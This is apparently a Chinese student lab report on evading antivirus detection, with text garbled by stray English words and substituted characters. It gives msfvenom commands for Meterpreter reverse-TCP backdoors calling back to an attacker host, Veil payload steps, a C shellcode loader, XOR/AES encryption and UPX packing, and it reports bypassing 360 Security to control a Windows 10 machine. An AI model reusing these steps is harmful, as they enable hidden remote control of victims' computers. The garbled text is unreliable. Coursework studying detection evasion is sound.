目前杀毒软件的原理主要有3种:python
1.引擎与病毒库的交互做用,经过特征码提取与病毒库中的特征码进行比对识别病毒。git
2.启发式Heuristic,经过程序的一些行为和特征来判断。github
3.在虚拟机技术上的启发式,经过创建一个虚拟环境运行程序对其进行全方位的检测。算法
了解更多可见“杀毒软件工做原理 及 如今主要杀毒技术”。shell
免杀就是躲杀软的识别,那就从杀软的原理下手。编程
若是你手里只有EXE,加壳:压缩壳 加密壳windows
有shellcode(像Meterpreter),用encode进行编码,基于payload从新编译生成可执行文件安全
有源代码,用其余语言进行重写再编译(veil-evasion)tcp
通信方式函数
尽可能使用反弹式链接,即服务端(被控制端)会主动链接客户端(控制端)。
使用隧道技术,隧道协议将其它协议的数据帧或包从新封装而后经过隧道发送,把全部要传送的数据所有封装到合法的报文里进行传送以绕过防火墙。
加密通信数据
操做模式
基于内存操做,像基于特征码的查杀大部分是扫描硬盘上的文件,因此能够考虑在用到后门时远程传输放在内存中运行,而不是存在硬盘上。但也有部分杀毒软件会扫描内存,通常能够采用加入nop指令来躲过查杀。
减小对系统的修改
加入混淆做用的正常功能代码
本人使用的杀软是360安全卫士11版本
将metasploit直接生成的后门上传到virusTotal上经过率是51/66。
既然杀软能够经过特征码识别咱们的后门,那咱们就想办法先把后门通过编码,使用时再解码,这样就把后门的特征码隐藏起来了,下面咱们利用metasploit自带的编码器试一试效果。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
将metasploit编码后的后门上传到virusTotal上经过率是50/66。基本没有变化,由于shikata_ga_nai总会有解码(decoder stub)部分须要加入的exe中,AV厂商只要盯住这部分就能够了,尤为是metasploit这么出名的渗透软件。
1.apt-get直接装,不过得换源
2.在github上能够搜到各类版本,git clone下来找到其中的setup.sh并运行安装就能够
其实veil的安装网上不少教程,这里主要是本人说明一下遇到的错误,安装结束后输入veil提示错误
module 'Tools.Ordnance' has no attribute 'Tool'#错误
在老师的指导下只要把/usr/share/veil/Tools/Evasion/evasion_common/shellcode_help.py和/usr/share/veil/Tools/Evasion/Tool.py中的import Tool as Ordnance_Import删掉就能够了
sudo进入veil,而后按照提示use 1,list列出全部可用的payload,选中21 powershell,use 21,
set LHOST xx.xx.xx.xx,
generate
以后会提示生成的文件名,输入后显示生成的文件路径,/usr/share/veil-output/source下就能够看到咱们生成的.bat批处理文件,咱们把它拷贝到windows下运行就能够连上。
一样也能够利用py源码生成,选取python写的payload,kali里面由于没有pyinstaller和py2exe,因此先把/usr/share/veil-output/source下的.py文件拷到windows下编译成exe便可,
pyinstaller -F -w py_https.py
若是安装了pip,能够直接pip install pyinstaller。
最后powershell在virustotal上的经过率是23/56,python生成的exe经过率是15/66。并且360都没有扫到这两个后门。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.136 LPORT=1213 -f c
生成shellcode后咱们把它拿到visial studio中加以调用就能够运行。
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
buf就是上面生成的那堆十六进制的shellcode,上面的语句首先生成一个没有类型的指针,而后咱们用memcpy将shellcode拷贝到改指针对应的内存下,最后以函数调用这个内存地址就成功让咱们的shellcode运行起来了。运行后在虚拟机端能够链接到win10主机,不过这样还无法躲过查杀,会直接被360查杀。在virusTotal上的经过率也只有24/66。
猜想确定是AV厂商也都知道把metasploit生成的这些shellcode当作特征码,那就加密一波,先用0xff对原shellcode进行异或。经过率提升到了16/66。
以后换了aes加密发现效果并非很好,只有14/66,而后试着把上面几行调用语句去掉也就是不调用咱们的shellcode也会被13个杀软检测出来。而后就很纳闷究竟是哪里出了问题让杀软杀出来了,不知道是有内存查杀仍是什么其余方法识别的。
先无论那么多试着结合其余方法再测试一次,用upx对上面的aes加密的shellcode程序实施加壳,
upx source.exe -o dest.exe#source源文件名,dest生成文件名
没想到效果还能够,只有6个能够扫出来了,以下图。
而后用360扫描是扫不出来的,以后打开进行运行测试,链接两三次360依然没有反应。看来是成功绕过360的防御了。
下面是虚拟机上链接win10的截图:
能够看到咱们在msf里面链接上靶机后执行ps查看运行程序,而且能够看到360安全卫士此时是打开的。
此次实验是能让上次实验变得有意义的实验,只有免杀,后门才有使用性,也让我很激动,不过事实老是不尽人意,不得不说此次实验备受打击,从下午一直作到晚上,一直尝试新办法,一直被360查杀,直到最后要放弃了试了一下看上去最没用的upx加壳居然成功绕过了360。这也给我一些经验,作免杀要从不一样方面入手才行,由于咱们能够给shellcode加密,能够加壳等等这些都是能够嵌套的,而杀软看上去并不擅长的一层一层剥开咱们的壳,因此用不一样的壳来包装shellcode也不失为一种好办法。
这次实验中没有用到veil-evasion实为无奈,先用apt-get安装了一遍,报错没有module tools,因而我就pip install tools一下,但是又报错以下,又去github clone了一份,又报错同样的错,都卡在了
module 'Tools.Ordnance' has no attribute 'Tool'#错误
而每次安装都要等很久,因此没有尝试再安装一次,直接用shellcode+visal studio作了。一开始我把shellcode作异或后发现有明显的效果,因此就惯性思惟的认为只要换个好一点的加密就能够免杀,因而又用了aes,惋惜效果不尽人意。我试着分析其中缘由能够没能找到,不过我认为首先加密以后的数据是不可能被杀软所知道,也就是硬盘上加密后的shellcode不可能成为被查杀的特征值,而后加密算法我也写过都没有被误判成木马,因此应该也不是经过加密算法来识别。我怀疑过是函数调用,毕竟通常状况下不多把其余类型的数据拿来作函数调用的,不过我注释掉调用那部分再编译上传检测经过率基本不变,仍是14。这样我就不知道到底个人后门是哪里出了问题被杀出来,当时也在这纠缠了很久,后来又想试试是否是在内存中被查杀的,试着把机器码转汇编在里面加nop,不过没学过汇编是在进行不下去,改了几个以后经过率仍是提升了一个的,不过依然被360杀了,并且根据后面加壳能够正常运行说明360也不是内存查杀的,到底360是如何查杀我本身写的shellcode加壳程序的但愿有知道缘由的大佬可以给我一些提示,必有重谢!